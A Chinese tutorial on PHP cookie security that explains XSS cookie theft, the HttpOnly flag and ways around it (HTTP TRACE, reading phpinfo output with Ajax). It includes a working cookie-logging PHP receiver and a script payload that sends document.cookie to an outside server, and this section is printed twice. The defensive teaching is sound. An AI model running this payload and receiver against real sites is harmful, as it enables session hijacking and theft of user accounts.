强制PHP使用HttpOnly提升Cookie安全性
我们平时上网都是依赖于http协议完成，而Http是无状态的，即同一个会话的连续两个请求互相不了解，他们由最新实例化的环境进行解析，除了应用本身可能已经存储在全局对象中的所有信息外，该环境不保存与会话有关的任何信息，http是不会为了下一次连接而维护这次连接所传输的信息的。所以为了在每次会话之间传递信息，就需要用到cookie和session，无论是什么，都是为了让服务器端获得一个token来检查合法性，很多时候都是在cookie中存储一个sessionID，服务器来识别该用户，那么安全隐患也就引申而出了，只要获得这个cookie，就可以取得别人的身份，特别是管理员等高级权限帐号时，危害就大了，而XSS就是在别人的应用程序中恶意执行一段JS以窃取用户的cookie。
那么如何获得Cookie劫持呢?在浏览器中的document对象中，就储存了Cookie的信息，而利用js可以把这里面的Cookie给取出来，只要得到这个Cookie就可以拥有别人的身份了。下面简单说说如何窃取cookie。
接收cookie的PHP文件ck.php为：
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookie.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
把这个文件放在自己的服务器上，比如我们搭建的服务器为：http://www.bnxb.com:8080 .
那么构造XSS语句：
<script>window.open('http://www.bnxb.com:8080/ck.php?c='+document.cookie)</script>
当执行script成功时就会把cookie发送到自己的服务器下cookie.txt文件中。XSS攻击是多么可怕的事情。
说了这么多，貌似还没有提到HttpOnly，这是哪般？莫及！这就到了！如何保障我们的Cookie安全呢？Cookie都是通过document对象获取的，我们如果能让cookie在浏览器中不可见就可以了，那HttpOnly就是在设置cookie时接受这样一个参数，一旦被设置，在浏览器的document对象中就看不到cookie了。而浏览器在浏览网页的时候不受任何影响，因为Cookie会被放在浏览器头中发送出去(包括Ajax的时候)，应用程序也一般不会在JS里操作这些敏感Cookie的，对于一些敏感的Cookie我们采用HttpOnly，对于一些需要在应用程序中用JS操作的cookie我们就不予设置，这样就保障了Cookie信息的安全也保证了应用。
给浏览器设置Cookie的头如下：
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问，则为 true；否则为 false。默认值为 false。
但是，也可以看到HttpOnly并不是万能的，首先它并不能解决XSS的问题，仍然不能抵制一些有耐心的黑客的攻击，甚至一些基于XSS的proxy也出现了，但是已经可以提高攻击的门槛了，起码XSS攻击不是每个脚本小子都能完成的了，而且其他的那些攻击手法因为一些环境和技术的限制，并不像Cookie窃取这种手法一样通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的，关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来，利用Ajax或者flash就可以完成这种攻击，这种手法也已经在Ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo，大家知道phpinfo会将浏览器发送的http头回显出来，其中就包括我们保护的auth信息，而这个页面经常存在在各种站点上，只要用ajax取phpinfo页面，取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露，这种攻击方式对于基本验证保护的页面一样可以攻击。
HttpOnly在IE 6以上，Firefox较新版本都得到了比较好的支持，并且在如Hotmail等应用程序里都有广泛的使用，并且已经是取得了比较好的安全效果。
那问题就来了，大家想想，HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie， 实际是浏览器通过协议实现限制的，黑客可不会那么傻，肯定不会用HTTP协议来读取cookie，肯定是在socket层面写抓包程序，相当于写一个低于IE6版本的应用程序。
所以，HttpOnly并不是万能的。
那么如何获得Cookie劫持呢?在浏览器中的document对象中，就储存了Cookie的信息，而利用js可以把这里面的Cookie给取出来，只要得到这个Cookie就可以拥有别人的身份了。下面简单说说如何窃取cookie。
接收cookie的PHP文件ck.php为：
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookie.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
把这个文件放在自己的服务器上，比如我们搭建的服务器为：http://www.bnxb.com:8080 .
那么构造XSS语句：
<script>window.open('http://www.bnxb.com:8080/ck.php?c='+document.cookie)</script>
当执行script成功时就会把cookie发送到自己的服务器下cookie.txt文件中。XSS攻击是多么可怕的事情。
说了这么多，貌似还没有提到HttpOnly，这是哪般？莫及！这就到了！如何保障我们的Cookie安全呢？Cookie都是通过document对象获取的，我们如果能让cookie在浏览器中不可见就可以了，那HttpOnly就是在设置cookie时接受这样一个参数，一旦被设置，在浏览器的document对象中就看不到cookie了。而浏览器在浏览网页的时候不受任何影响，因为Cookie会被放在浏览器头中发送出去(包括Ajax的时候)，应用程序也一般不会在JS里操作这些敏感Cookie的，对于一些敏感的Cookie我们采用HttpOnly，对于一些需要在应用程序中用JS操作的cookie我们就不予设置，这样就保障了Cookie信息的安全也保证了应用。
给浏览器设置Cookie的头如下：
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问，则为 true；否则为 false。默认值为 false。
但是，也可以看到HttpOnly并不是万能的，首先它并不能解决XSS的问题，仍然不能抵制一些有耐心的黑客的攻击，甚至一些基于XSS的proxy也出现了，但是已经可以提高攻击的门槛了，起码XSS攻击不是每个脚本小子都能完成的了，而且其他的那些攻击手法因为一些环境和技术的限制，并不像Cookie窃取这种手法一样通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的，关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来，利用Ajax或者flash就可以完成这种攻击，这种手法也已经在Ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo，大家知道phpinfo会将浏览器发送的http头回显出来，其中就包括我们保护的auth信息，而这个页面经常存在在各种站点上，只要用ajax取phpinfo页面，取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露，这种攻击方式对于基本验证保护的页面一样可以攻击。
HttpOnly在IE 6以上，Firefox较新版本都得到了比较好的支持，并且在如Hotmail等应用程序里都有广泛的使用，并且已经是取得了比较好的安全效果。
那问题就来了，大家想想，HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie， 实际是浏览器通过协议实现限制的，黑客可不会那么傻，肯定不会用HTTP协议来读取cookie，肯定是在socket层面写抓包程序，相当于写一个低于IE6版本的应用程序。
所以，HttpOnly并不是万能的。
顶(0)
踩(0)
- 最新评论